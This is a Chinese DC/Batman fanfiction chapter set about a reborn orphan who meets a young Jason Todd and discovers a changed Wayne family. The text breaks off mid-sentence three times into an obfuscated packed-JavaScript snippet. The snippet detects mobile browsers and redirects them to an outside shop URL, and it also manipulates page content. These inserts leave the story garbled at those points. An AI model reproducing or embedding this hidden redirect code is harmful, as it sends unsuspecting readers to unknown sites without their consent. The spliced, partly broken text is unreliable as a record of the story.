《[综英美]我在哥谭磕cp那些年》 1. 第 1 章 好吧,我也没想到有一天我会像讲述一场梦一样描述我的故事。必须承认,我的家庭很复杂,连带着我的生活除了正常的打打闹闹以外基本上都是各种抓马事件。 作为一个拥有“上辈子”记忆的人——拜托,你要是好不容易和家人打出HE结局,还没过几天好日子,一觉醒来发现在小时候的床上躺着你也会觉得那是上辈子。 先简单介绍一下“上辈子”。我叫艾格尼斯·巴贝尔,男,从小的孤儿院长大,八岁左右一场大火带走了我的视力,然后幸运地被一对音乐家夫妇收养。他们在我成年后前往新西兰养老,我则独自生活在哥谭。 十九岁那年发生了很多稀奇古怪的事,总之我还是在与各种反派斗智斗勇侥幸生还后和富豪家人生活在一起。 是的,像是哥谭论坛上泛滥得不能再泛滥的YY文一样,我真是布鲁斯·韦恩的“亲生”孩子。这个亲生需要打双引号是因为,他对于我的降生只起到一个锚点的作用,简单来说是我这具身体的基因组成部分。 这听起来似乎和基因工程有关,但我和卢瑟或者刺客联盟的实验没有半毛钱关系,换句话说,我是高纬度魔法产物,只是选择了韦恩血脉而已。如果布鲁斯愿意,认我当弟弟也行——这话我从没说出口过,别让他知道。 所以硬要论起来,说我是蝙蝠侠和布鲁斯的孩子也行(doge)。 是的!各位!我要隆重介绍我的毕生信仰,我的一切幸福之源,哥谭第一且唯一不变的真理,世界上最好吃的美帝CP——蝙布!!! 没错,我是个CP粉,作为一个地道哥谭人,怎么能不嗑蝙布呢?要知道在知道真相之前,我嗑是哥谭网络上小有名气的蝙布大手子,代表作包括且不限于《于月色下》《呢喃似祷》《彗星与你降临》《溺》以及我最满意的《爱与欲之渊》!请支持我BaB3344cc99好吗! 唉,这都是蒸煮亲自下场撕CP之前的事了,自从布鲁斯亲口告诉我真相后,我就失去了往日的文思泉涌,现在已经是一个可悲的普通人哩!想当年我可是能写出《小丑为什么保留他掉进化学池的历史》这样的惊世奇文的高人! 没想到,虽然白月光是碎了,但是在这个逆序世界我真的嗑上了一对不输蝙布的绝美CP,最后CP还美美成真了! 在这里,我要感谢我永远的哥杰森·陶德,是他的笔耕不辍锲而不舍,让我明白了“刀剑与飞鸟”的美好! 让我们说:赞美命运! ———— 我是在一片阳光里醒来的,光芒照在眼皮上,是一种久违但理所当然的温暖。 这本来没什么特别的——八年来我每天都在阳光里醒来。哥谭难得放晴的早晨,光线会从圣玛丽孤儿院男孩宿舍那扇永远擦不干净的窗户斜斜切进来,在旧木地板上画一道长长的、暖黄色的条纹。 但今天不一样。 今天,我看见了那道条纹。 或者说,"我"看见了那道条纹。 布怼! 我猛地坐起来。 动作太急,八岁小孩的身体跟不上成年人的指令,我眼前一黑,差点直接从床上栽下去。我死死抓住生锈的床架,喘了两秒,然后—— 然后我低下头,看着自己的手。 阳光落在我的指节上,把那层薄薄的、还没被生活磨糙的孩童皮肤照成近乎透明的粉色。我能看见青色的血管,能看见指甲边缘一点倒刺,能看见手背上几道浅浅的、不知道什么时候蹭出来的旧疤。 我能看见。 我能看见了! 我慢慢抬起手,举到自己脸前,放在阳光底下。五根手指张开,并拢,再张开,光线在指缝间消失又出现,我却乐此不疲。 这是真的。 我摸向自己的眼——没有灼痛,没有记忆中那层永远迷蒙的雾气,只有温热的眼皮和底下完好无损的器官。 我又环视了一圈房间。 铁架床整整齐齐排成两列,被褥是洗到发白的浅蓝色。墙角的衣柜门没关严,露出一角某位护工忘记收走的超人斗篷——经常出现在电视上的那一版,红蓝配色鲜艳到刺眼,确实很配克拉克那张脸。窗外那棵老橡树的枝丫正在风里摇晃,每片叶子的边缘都镶着一圈细碎的金。 颜色,形状,深度。 是的,毋庸置疑——我能看见了,不必再像曾经那样依靠虚无缥缈的感知。 我张开嘴,想说话,却发现自己不知道该说什么。 八岁的声带不适合表达复杂的情绪,思绪也在狂喜和接踵而至的疑问填满,尤其是像我这样完全不记得自己现在声音的。于是我只是安静地坐在那里,像一尊被阳光照亮的、微微发抖的小雕塑。 足足半分钟后,我摸向自己的喉咙。 “……八岁。” 声音又细又软,是我几乎忘记了的、属于孩童的嗓音。 “我回到过去了?” 如果这一切都不是什么梦境,那么我就需要好好思考如何利用这一切。 比如—— 再嗑一次蝙布!!! 老天爷你干得好啊!把我送回到这么小的时候,送回到我还没遇见蝙布的时候,天知道后来的我有多遗憾错过了那么多好料!这一次,我将嗑回属于我的一切,我将整顿哥谭同人界,让所有叶子站街霸凌流浪酗酒家暴堕落童年阴影NTRhurtanfort消失在哥谭美帝的粮圈,让我从毁誉参半变为主流! 该死的,不就是写的美好了一点(这里特指没有上述那些妖魔鬼怪),清水了一点,虐一点吗!哪里不接地气了?我们厨子也是有脾气的好吗!我辛辛苦苦产出累计百万字的清水虐文也是需要付出心血的! 我越想越气,尤其是想到以前和人在网上问候彼此家人的那些日子,恨得牙痒痒,最后还是花了十五分钟才成功从床上下来。 不是因为我腿软,也不是因为我矮。主要是因为——八岁小孩的身体重心真的、真的、真的很低。 我试图用“成年人迈开腿直接下地”的姿势,结果脚掌够不到地面,整个人挂在床沿扑腾了两下,最后还是老老实实翻过身,像只笨拙的崽子一样滑下去的。 落地的时候我扶着床架喘气,这具身体的核心肌群约等于零,不过我也没资格要求一个孩子有多敏捷就是了。 好消息是,视力回来得很彻底。 我走向那面糊满胶带印的穿衣镜,踮脚——还是不够高,又拖来一张小板凳——终于看见了镜子里的人。 红头发,蓝眼睛,脸圆得像个没发好的面团。 确实是八岁的自己。 我盯着镜子里的自己看了很久,揉了揉脸颊上的肉。 “……还挺可爱呢。”我客观评价。 然后我的思绪终于开始正常高速运转,尽管CPU有些不太适配(版本落后哩)。 第一,我回到了过去,但不排除其他可能。 第二,我的视力完好无损,这意味着那个导致我失明的"灾难"还没发生——或者在这个时间线里根本不会发生,毕竟现在的我知道了,总能改变什么。 第三,圣玛丽孤儿院,宿舍,八岁,很多事都还来得及。 ——我还没被那对善良的音乐家夫妇收养。 ——我还枚失明。 ——而杰森,那个十二岁的、在街头到处乱窜的野猫崽子,应该也还在哥谭的某条巷子里捡垃圾吃。 “好。”我对这镜子里的自己说。 “第一件事——找到杰森。” 然后把他弄进韦恩家,和布鲁斯上演父慈子孝! 呃,实在不行,我的要求很低的,父龇子哮也行……自由搏击也行!只要大家都好好的,我相信布鲁斯会愿意的! ———— 杰森·陶德今天很不爽,非常不爽。 三个月前他被布鲁斯·韦恩那个冤大头——不,等等,他现在知道了,不是冤大头,是哥谭首富兼超级冤大头兼某种意义上的好人兼他还没搞懂怎么定义总之收留了他的奇怪男人——总之,他被收养了。 这是好事,毕竟在这之前他还在街上撬其他冤大头的轮胎,现在也怎么说算是一步登天了。 按理说这是天降馅饼。 他,哥谭东区街头小混混,流浪生涯长达N年零三个月(大概),睡过纸箱、睡过消防通道、睡过被遗弃的汽车后座,一度以为自己的人生巅峰是完美偷到一块还没发酸的三明治。后面的生涯规划大概也就是再大一点就加入某个帮派,将有限的生命投入到哥谭无限的勃勃生机万物竞发的街头事业,运气好说不定还能成为一方大佬,统领东区。 但是布鲁斯·韦恩出现了,打破了原本的设想。 他穿得人模狗样,眼神疲惫得像连续熬夜三天但仍旧难掩五官本身的英俊,问他"你愿意跟我回家吗"的时候语气活像在问今天星期几——好像收养一个街头小孩是很平常的事。 杰森当时心想:哦,有钱人就是不一样,养个孩子跟养只猫似的。 当然,也可能是蝙蝠侠告诉他的,听说他们两个很熟,大概。 反正他去了。 接下来的一段韦恩家的富豪生活并没有他一开始料想中的豪门倾轧,直到一个偶然的契机,他发现,韦恩家的水比哥谭东区的污水井还深! 杰森蹲在孤儿院后巷那棵半死不活的梧桐树后面,咬着不知从哪个垃圾桶翻来的冷掉的薯条,越想越气。 首先,韦恩家那个长子。 他不知道那家伙叫什么名字——也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454780|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没人主动告诉他(或者说两人见得不多),那个名字在韦恩家几乎是个禁忌,提起来气氛就会变得微妙。他不止一次在和布鲁斯进行“温馨”的感情交流时提及他法律上的兄长,但每次得到的都是些听起来很官方的夸赞。 反正他觉得,那就是个十九岁的恶魔! 杰森亲眼见过(实际上是偷偷看过)。那恶魔好整以暇地坐在书房里,面前摆着一台笔记本,手指搭在扶手上动都没动,只是微微抬起眼皮看了一眼对面的董事,那位头发花白的老先生就在屏幕里闭嘴了。 闭嘴了!连反驳都不敢!何等的专制! 杰森当时躲在走廊转角,大气都不敢喘。他总怀疑恶魔已经发现他了,只是完全没把他放在眼里,因此将他放过了。 其次,韦恩家那个次子。 这个他知道名字,毕竟算得上是对他好的几个人之一,叫提姆·德雷克,十六岁。 杰森刚来的时候以为他是布鲁斯某个远房亲戚的孩子,来庄园借住的,因为听说他父母健全,真论起来也是哥谭那帮子有钱人的孩子。原本以为这细品嫩肉的家伙也是万恶的阔佬,结果观察了三天,他震惊得得出结论:这个提姆——可能是个比他还惨的小可怜! 他从来不反驳恶魔的任何话,即使偶尔两人出现分歧(很少),提姆也只会面上出现几分不满,然后依然按照恶魔的话执行。 恶魔说“这份报告需要重写”,提姆就重写。 恶魔说“你今天的训练成绩下降零点三秒”,提姆就说"我会改进"。 恶魔说“少喝点咖啡”,提姆就把杯子端走,五分钟后端回来一杯温度刚好的牛奶。 恶魔说“难得做的不错”,提姆就很高兴,连带着对他也更加温柔。 杰森:…… 结合他自己在底层摸爬滚打得来的一些见识,加上他毫不吝于对有钱人的恶意揣测,他得出一个结论——这不就是童养媳吗?!!! 可怜的提姆! 最后,是布鲁斯·韦恩本人。 那个收养他的男人。 杰森刚来的时候虽然警惕,但还是很快从相处中得出布鲁斯是个好人的结论——笨拙、不太会聊天、总是看起来很累,但眼神里确实有真切的关心,对他甚至可以说是纵容。 至于布鲁斯花花公子的名声,这点他接受良好,毕竟布鲁斯只是出去约会漂亮女人,出手也阔绰大方,总比恶魔养童养媳搞封建帝国好太多了不是吗? 而阿尔弗雷德,伟大的管家,慈祥的长辈,家里的顶梁柱,杰森对他抱有崇高的敬意,他相信这位老人维持这个家已经很不容易了,大概也是恶魔压迫下的一员,实在不能责怪他的默许。 是的,看了这么久,聪明如他当然发现了这个家的权力结构。 名义上的家族,布鲁斯他……他只是个可悲的傀儡! 那恶魔理所当然地决定一切:体能训练计划、课程日程安排、能去哪里不能去哪里,以及他的学业。布鲁斯偶尔会开口说“我觉得可以稍微松一点”,语气温和得像在征求同意。 恶魔,作为他的孩子,只是用那双危险的眼睛看他一眼,很平静地说:“父亲,您知道那不安全,迟早会害了他。” 于是布鲁斯就不说话了。 杰森:…… 杰森:不对吧,这他妈是倒反天罡吧。 但事实就是这么不可思议和一言难尽。 所以现在,三个月过去了,杰森信誓旦旦,聪明如他,已经看透了这个家的本质! 表面是慈善富豪收养孤儿,一家人其乐融融的温情故事,实际上是恶魔长子摄政、童养媳次子受困、老好人父亲被架空的哥谭豪门黑暗秘辛。 而他,杰森·陶德,是那个误入其中但洞悉一切的清醒者!他必须如英雄般降临,解救受困的提姆和布鲁斯!从恶魔暴君的手下! 他目前的计划如下: 第一步,趁着那恶魔去纽约处理“公司事务”(鬼知道是不是真的正经工作,万一是去洗钱呢!),想办法偷偷溜出来。为此,就算是翘课也在所不惜,这都是必要的牺牲,嗯,都是为了布鲁斯他们好,他们会理解的。 第二步,找到他在街头时期愿意称之为"朋友"的那个红头发、住孤儿院、每次溜出来跟他们玩的时候话很少但有趣的小孩。然后说服那小孩跟他一起跑路,毕竟那孩子也快到被收养的时候了,鉴于提姆的前车之鉴,不能让他和提姆一样掉入魔窟。 第三步,攒钱,变强,以后回来救提姆和布鲁斯。 完美的计划,堪称是智斗巅峰!颤抖吧恶魔! 那么,机不可失,就是现在。 杰森信心满满,几乎已经看见他打败魔龙救出高塔上翘首以盼的国王和公主(?)那一天了。 2. 第 2 章 我从孤儿院后门溜出来准备去惯常去的街上找杰森的时候,正好看见一颗黑脑袋从梧桐树后面探出来。 那颗黑脑袋看见我,眼睛刷地亮了,嘴里叼的半根冷薯条差点掉地上。 “小鸡蛋!这边这边!” 杰森像只炮弹一样冲过来,在我面前急刹车,一双晶亮的眼睛上下打量我,像是在评估一件非常重要的装备。 “你真的在这儿!我找了三个孤儿院!” 这很正常,一般来说都是我自己从狗洞里钻出去找他们,杰森确实不知道我具体在哪个孤儿院。 我仰头看着他。 十二岁的杰森,比自记忆里更瘦更矮,颧骨突出,眼下有熬夜的乌青,但那双蓝眼睛里那股"我是来拯救世界的"的自信光芒一点没变。 “你怎么知道我在这儿?”我问。 “你上次不是说圣玛丽的修女最好骗……”杰森噎了一下,立刻调转话头,“不对不对,我是说,你提过这儿的围墙最矮。” “算了,现在不是说这些的时候。” 杰森左看看右看看,很有偷感地把我拉到墙根阴影里,压低声音。 “听着,小鸡蛋,我是来带你走的。” 我:"……" 我都懒得反驳他和其他孩子们给我起的这个让我吐槽无能的外号,就说这个发展是不是有什么问题?这是他一个孩子该说的话吗!我们这是无CP频道! 虽然早有心理准备,杰森的脑回路可能异于常人,但听到这句台词从十二岁杰森嘴里说出来,我还是有一瞬间的恍惚。 带我走——是指一起被布鲁斯收养吗?杰森在成为红头罩之前、在经历那些可怕的死亡与复活之前、在自己还是个需要被保护的孩子的时候——就已经在想"带别人走"这件事了。 真是个好人啊!这种时候居然还记得我这个朋友,那还说啥呀兄弟! 我大为感动,一面高兴一面哀伤,尽量让自己的声音听起来正常:“走去哪?” “能去哪就去哪呗。”作为同伴中唯一一个在豪门混过的人,杰森脸上出现了同龄人难以理解的忧郁,“中心城,大都会,远一点的什么小镇……我有钱。” 他从口袋里摸出一个小布包,打开一角,露出一叠皱巴巴的现金。 “我从韦恩那帮阔佬那儿‘借’的。” 我看着那叠钱。韦恩家?他已经被收养了? “……你偷的。” “是借!”杰森理直气壮,“哎呀穷人的事,怎么能叫偷呢?再说了,恶魔暴君霸占那么多资源,我拿一点怎么了?这叫劫富济贫!” 恶魔?那是谁? “劫富济贫——贫是你自己。” 杰森理不直气也壮,就差拍着胸脯骄傲:“对!我自己!我穷!”一时间他的身上散发出无产的光芒。 我闭嘴了,因为我也穷。 杰森开始了他的激情阐述,那股子热情让我怀疑这才是他来找我的根本原因——想找个人分享一下生活。 “你不知道韦恩家有多恐怖。”他压低声音,像在分享国家机密,嘴角不自觉却勾起一个诡异的弧度,“那个长子——十九岁恶魔——我跟你说,整个庄园上上下下都得听他的,连阿尔弗雷德都只能服从!连什么时候做小甜饼都要管!” ? 我的心跳漏了一拍。 长子,十九岁。 ——迪克今年应该多大来着? 我的大脑飞速运转。这个时间线迪克十九岁,杰森刚被收养——所以迪克应该已经是罗宾很久了,经验丰富,成熟稳重(?)。 但杰森为什么用"恶魔"形容他?这是能放在迪克身上的形容词吗?! 理查德·格雷森,阳光开朗大男孩,杂技爱好者,热爱冷笑话和人际和谐,热衷于让每一个家人都感受到他的爱——恶魔? 怎么可能呢?我拒绝相信,这其中定有什么误会!肯定是迪克对于新来的弟弟有些不满导致的误会!作为知情者,我必须将误会早早掐灭! “你说的那个,长子……”我试探道,“他平时对你很不好吗?” “对我?”杰森一愣,随即摆摆手,“他基本不跟我说话,但我观察到了。” “观察?” “对,观察”杰森压低声音,眼神变得深沉,活像那种二流警匪片里的卧底,带着装腔作势的故意恐吓,“我亲眼见过他训那个次子——就因为他报告写晚了两分钟!那孩子低着头,一句嘴都不敢回!” 我不敢置信地瞪大眼:“……次子?” 这不对吧?!杰森才是第二个孩子吧?!莫非说的是芭芭拉? “提姆·德雷克,大概叫这个名吧。”杰森理所当然说,“听说很早就到韦恩家了,一看就是从小被那恶魔培养起来的——你懂我意思吗?” 说最后这句话的时候,他的情感波动让我感到熟悉,那和我的好诡秘朵丽丝看文时一模一样。 我猪脑过载,一时没懂:“什么?” 杰森用一种“你是不是傻”的眼神看我:“想想看,从小放在身边培养的,是接班人吗?不是!恶魔自己也没多大,以他的控制欲,肯定不会容许这么个人存在。” “所以说——只能是——”他眼神闪躲,确认没人后压低声音,几乎是气声了。 “童养媳。” “……” “……?” “……啊!?” 这家伙在说什么啊?!迪克和提姆吗?! 杰森言之凿凿:“你看啊,他所有行动都被监控,账户被那恶魔管着,连吃什么都要按营养表来!你知道他昨晚晚饭被允许吃多少甜品吗?一小口!一小口提拉米苏!我亲眼看见那恶魔把盘子挪走的!有钱人家的孩子都过得这么惨!” 那蛋糕看起来多好吃啊!万恶的魔鬼,诅咒他永远得不到提姆的心! “……” “还有,”说到兴头上,杰森几乎是手舞足蹈,“那恶魔经常晚上把提姆单独叫到东翼去,一待就是好几个小时,回来的提姆一瘸一拐,还能是去干什么?!” 他的眼神不干不净,暧昧几乎要溢出来,眼珠子乱转间分明写着“该死的炼铜!”。 一瞬间言语都成了无力的矫饰,堵在我喉咙里不上不下。 我提起一口气,几乎是一个字一个字蹦出:“……那个,你有没有想过,他们可能是去——” “——进行秘密的、见不得光的、非法的勾当。”杰森严肃点头,"对的对的,我也是这么想的。"他也希望如此,提姆就不会受那么多伤,但是事实摆在这里,他坚信他是对的。 呃,也不能说这些形容词不对,毕竟作为全哥谭最大的非法窝点,韦恩家干的事怎么着也够除了我以外的所有人进局子蹲上几年。 杰森怜悯地看了我一眼,像是在看一张纯洁的白纸。他的眼睛里写满了沉痛和坚定,我几乎能直接猜出来他的内心戏:这孩子还是太单纯了,不知道有钱人家里的水有多深,不过没关系,他会找机会让我明白人心险恶的。 ……突然有些讨厌自己对情感的独特感知,让我明知道被当做傻子还不能反驳。 我艰难地把"训练"两个字咽了回去。 罢了罢了,先误会着吧,我决定先不问。 不为别的,就为听杰森还能编出什么惊世奇闻。 万一他也嗑上蝙布了,就说明我和他真是上天注定的异父异母亲兄弟了。 “那韦恩先生呢?他不是你们的父亲吗”我状似好奇,相当天真地问,“他不管孩子吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454781|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “管啊,当然管。” “但管不了。”杰森的语气从原本的义愤填膺和愤怒变成了一种复杂的、近乎怜悯的惋惜,“布鲁斯......虽然身上也有一堆阔佬的破烂习惯,什么赖床开趴花钱,但总体来说是个好人。”“ 他对我很好,看得出他真的想当个好父亲,但他太软弱了……那恶魔根本不怕他。” 他顿了顿,故作老成地叹气。 "唉。有时候我看见他一个人坐在书房里,对着窗户发呆。他不是坏人,小鸡蛋,他只是……他只是被打败了。” “唉,无能而可怜的老父亲!” 我又双叒沉默了。 这和我认知里的布鲁斯·韦恩——永远的黑暗骑士,不死的蝙蝠怪,哥谭的守护者,决不妥协的偏执狂,永远有备用计划的planB,正义联盟的万能顾问,罗宾们的引领导师,阿卡姆一院子反派的宿敌——差距太大了。 这个世界的布鲁斯到底经历了什么? 还有,布鲁斯哪里老了?!不过就是双倍水灵的年纪!不要乱说!男人如美酒越老越醇香! 而蝙布,就像书架上的书籍!随着时间的推移,越来越有价值,有意义,也越来越黄(doge)。 当然啊,后来和布鲁斯相处久了,我也不太好意思继续创作,毕竟在韦恩家没有隐私可言,就算提姆也嗑蝙布,我也不太想将草稿箱暴露在他们的“监视”之下。 呃,一想到我写的小丑钩子文学和卢瑟怨妇文学都被他们看在眼里还明确知道作者是我,我恨不得当场抠出一座蝙蝠洞…… “所以我要救他。”杰森突然高声将我的思绪拉回来,“等我攒够钱,等我变强,等我可以将恶魔踩在脚下,我就回来救他们——提姆和布鲁斯。” “那恶魔不可能永远控制所有人!” 他看向我,眼神亮得惊人,言辞恳切。 “今天恶魔去纽约出差了,正是好时节。” “你得先跟我走,你的年纪也大了,还不知道会被什么人收养,不能也被那种鬼地方吞掉。” 我看着他,一时间感慨万千。 十二岁的杰森,瘦削,饥饿,浑身伤痕,三个月的正常生活还不足以改变生活磨砺在他留下的所有痕迹,口袋里揣着偷来的钱,准备带着一个八岁小孩亡命天涯。 怎么看怎么不可思议。 但他的语气那么坚定那么可靠,仿佛这不是什么天方夜谭的可笑英雄计划,而是最理所当然的事。 我忽然有点想笑,也有点想哭。 我真的想直接杰森,你不懂,那个被你当成恶魔的人肯定是在用他自己的方式保护这个家,那个“童养媳”肯定也是心甘情愿跟在他身边的,布鲁斯不是软弱他只是太累了 不对,这个我还真不确定……想想他每天就睡那几个小时……唉,哥谭多少个区可是在他肩上担着呢! 虽然我真的很想知道迪克为什么会变成这样,提姆和布鲁斯和我印象里的也有相当大的出入,这些话,我不能说,更是没理由没立场说。 我知道杰森不会信的,一个基本上没怎么离开孤儿院周围的孩子能知道什么豪门秘辛呢? 他得亲眼看见,然后自己明白。 “韦恩先生今天来了吗?”我问。 杰森一愣,不理解我为什么将话题扯到这上面:“什么?” “你不是说恶魔去纽约了?”我说,“那现在庄园里只有布鲁斯先生和提姆?” 杰森警惕起来:“你想干什么?” 我露出一个无知得到小孩应有的、看起来人畜无害的笑容。 “你刚刚说的那些,我没听懂唉……” “我有点饿了。”我有些不好意思说,“你刚才说韦恩家有小甜饼?听起来很好吃呢。” 3. 第 3 章 布鲁斯出现在圣玛丽孤儿院的时候,我正被杰森拽着胳膊往墙根拖,我抱着树怎么都不肯和他一起“亡命天涯”。 就算我的身体倒回到孩童时期,我的智商总归还是在线的!肯定不会和他一个小屁孩跑出去。 知不知道哥谭已经算是阿美莉卡的高福利高安全感城市啊?非自然死亡率比纽约低多了,做人最重要的是什么?要知足! 一看见不远处出现的熟悉身影,杰森警铃大作,立刻催促道:“躲起来躲起来躲起来——!” 杰森压低声音,活像只被踩了尾巴的猫看见天敌。他一手扯着我,一手慌张地往那棵半死不活的梧桐树后面缩。 我被他拽得一个踉跄。脾气上来的我不顾他的阻挠,半张脸从树干后探出去,看见了来人。 布鲁斯·韦恩。 他穿着深灰色的定制休闲西装——没有领带,衬衫领口微微敞开,像匆忙出门时忘记系好。头发打理得很整齐,但眼下的乌青浓得遮不住,隔了半个前院都能看出疲惫,眼睛里的神采依旧。 啊,最近哥谭有什么很大的事件吗……他看起来好累……不过话有时候这确实是他的常态。 他走向匆匆赶来的院长,步伐不快不慢,姿态是哥谭首富应有的从容。 “我来找我的养子杰森。”声音低沉,温和,带着我再熟悉不过的、用来伪装的些许“甜蜜”。 “还有……如果方便的话,我想见见院里叫艾格尼斯的孩子。” 我的心跳漏了一拍。我吗?他这个时候不应该知道我才对啊。 他想见我。 院长又和他攀谈几句,最后急匆匆走了。 和我一起在旁边看着的杰森煞有介事地在我耳边低语:“看到了吗?表面上很温柔很稳重,是吧?但他在家根本不敢违抗他儿子!就是个傀儡!” 他语气里满是恨铁不成钢,就差啧啧两声了。 但我没回答,我在看布鲁斯。 看布鲁斯像是“终于”看见梧桐树后那颗躲藏的黑脑袋时,疲惫的脸上终于浮起的一丝笑意——是……很轻很淡的微笑,像是终于确定他安然无恙的如释重负。 “杰森。”布鲁斯向我们这边走过来,“我答应过今天放学来接你。” “可以和我解释一下为什么你不在学校而是在这里吗?” 杰森僵在原地,被抓包的心虚让他倔强地低头不去看布鲁斯的眼睛。 他朝我使了个接头常见的逃跑眼色——那种"你掩护我撤退"的眼神——又看了布鲁斯一眼,拳头攥紧又松开。 “……”我明智地不打算掺和他逃学的事,因为我也不喜欢上学。 “你从学校跑出来的事,他们还不知道。”布鲁斯的语气没有责备,只是在陈述事实,“阿福很担心你。” 杰森的下巴绷紧了一瞬。 “……他不是担心我。”他的声音很轻,带着一点说不清的委屈,“他是担心恶魔发现我不在、又要怪到别人头上。” 布鲁斯眼皮狠狠跳了一下,随后如我料想中的一样叹气,大概是对杰森奇怪的想法一言难尽。 “去纽约处理公司事务再飞回来,至少要三天。”言外之意是杰森现在应该很安全,可以和他回去。 杰森没说话,别过脸看向旁边。我注意到他的肩膀微微松弛了一点,估计是有所动摇,但碍于面子没有搭话。 布鲁斯乘胜追击,往前走了一步。 “你离开前,没有拿你的外套,我给你带来了,就在车上。”他很认真地说,“哥谭晚上冷。”那双享誉整个哥谭的眸子此刻尽是关心和慈爱。 杰森愣住了,他低下头,我看见他的耳朵尖在阳光下慢慢变红。 哇塞,玩家【布鲁斯】发动攻击【父爱如山】,对玩家【杰森】造成暴击! “——所以你是专程来给我送外套的?”他的声音硬邦邦的,像在质问,又像是确认,“就这?”这小子估计已经内心乐开花了吧,嘴角都不自觉翘起来了。 底层代码这一块。 布鲁斯没有回答,给杰森一点犹豫的时间,转头看着杰森身边的我。 然后他蹲了下来,视线与我齐平,朝我伸出手。“你好啊小朋友。” “你是艾格尼斯对吧。”这不是疑问句,以他的谨慎程度,想必已经调查过我了。 “嗯。“我象征性和他握一下手。第一次这样和布鲁斯交流,还挺新奇。要知道我面对面和他见的第一面还是在哥谭大学的教室里,那时我已经是个成年人还看不见,连他具体长什么样都不知道。 他比我想象中年轻多了。 “我是杰森的养父,你可以叫我布鲁斯叔叔。杰森跟我提起过你,他说你是他在街头时......很重要的朋友。” 杰森在我身后发出一种像被掐住脖子的怪声:“我没说‘很重要’!!!”然后发现这话不太礼貌又难为情地看着脚尖。 这家伙真不会说话! 布鲁斯忍住了没理他,但估计社交课程已经在等着杰森了(喜)。他看着我,那双蓝眼睛比我想象中更通透、更深沉,但此刻全是温和。 “你愿意来韦恩家吗?” “——他不愿意!”杰森立刻跳起来抢答,还想直接捂我的嘴。 “我说了不愿意!……不是,我说了他不愿意!也不对,是他说了他不愿意!” 布鲁斯像诱哄小红帽的大灰狼:“阿福今天烤了小甜饼,我想你会喜欢的。” 杰森:“……”坚强一点啊小鸡蛋! 我和所有听到点心的孩子一样绽开一个笑,十分捧场地赞扬:"听起来很棒耶。" 杰森恨铁不成钢:"你能不能有点骨气!!!" “骨气在天上失禁地看着你!” “那叫失望,杰森……”布鲁斯扶额,对于这个孩子的文化水平有了深深的质疑。 ———— 五分钟后,杰森坐在布鲁斯的轿车后座,和他隔了起码两个人的距离,双臂交叉,满脸写着"我这是深入敌营,我这是不得已为之"的壮烈。 我坐在他们两个中间更靠近杰森的地方,使出多年演技和在日本一整年都读不懂空气的低情商努力保持面部表情管理。 我刚才借着和布鲁斯说话的间隙,偷偷观察了这辆车的内部。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454782|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有武器夹层,没有通讯系统,普通的商务配置,顶多是价格高了一些,不是蝙蝠车。 那么现在的布鲁斯·韦恩,真的只是以"韦恩"的身份来接孩子。 我把这些信息存在脑子里,准备后续分析。 快到韦恩庄园时,杰森凑到我耳边,用气声说:"记着,进去后少说话,多观察。"他朝我深沉而缓慢地摇摇头,仿佛三个月的谨小慎微如履薄冰都在不言中。 我很想不承认这个有点傻缺还戏多的家伙是我的朋友,深深提一口气,最终还是乖巧地点头。 "如果恶魔回来了,离他远点。他眼睛像刀子,能看透你,甚至能割伤你!" 杰森以为自己的声音很小,可惜豪车的隔音效果太好了,车子里落针可闻,就显得他的声音很大很明显。 "杰森,达米安毕竟是你哥哥,别这样称呼他。"布鲁斯语气里满是无奈。 达米安。 长子是达米安。 ——不是迪克???!!! 我听见自己的心跳声在耳膜里放大,直至整个脑子里一片嗡鸣。 达米安是长子——十九岁——是这个家庭的实际掌控者。 迪克不???!!! 为什么?迪克去哪了?这个世界的理查德·格雷森,怎么说也该在义警领域大展身手了——他为什么不在韦恩家? 我的思绪高速运转,我几乎能闻到CPU过载的糊味。 达米安被布鲁斯收养的时间线,嗯……在原来的世界,达米安是几岁才出现的?他比我小多少来着?他的母亲是塔利亚·艾尔·古尔,父亲是布鲁斯·韦恩,不是自然孕育,然后……这种时候我就怪我那堪比金鱼记忆的猪脑子了,关键时候啥也没记住…… 如果这个世界达米安十九岁,意味着布鲁斯很早就把他接回了家,指不定会不会比迪克的时间线还要早。按照他的性格,我估计最开始会和布鲁斯相处得不太融洽……但估计再怎么难训最终也会被他老爹的人格魅力所折服,然后成为他的死忠毒唯粉。 那么,杰森之前说的提姆是次子就可以理解了,只是不知道他们两个在这里的相处方式如何。按照杰森的说法怎么看也不像是正常兄弟的模式……当然啊,不排除那家伙满嘴跑火车纯粹是逗我开心这种可能。 然后呢,在那之后发生了什么? 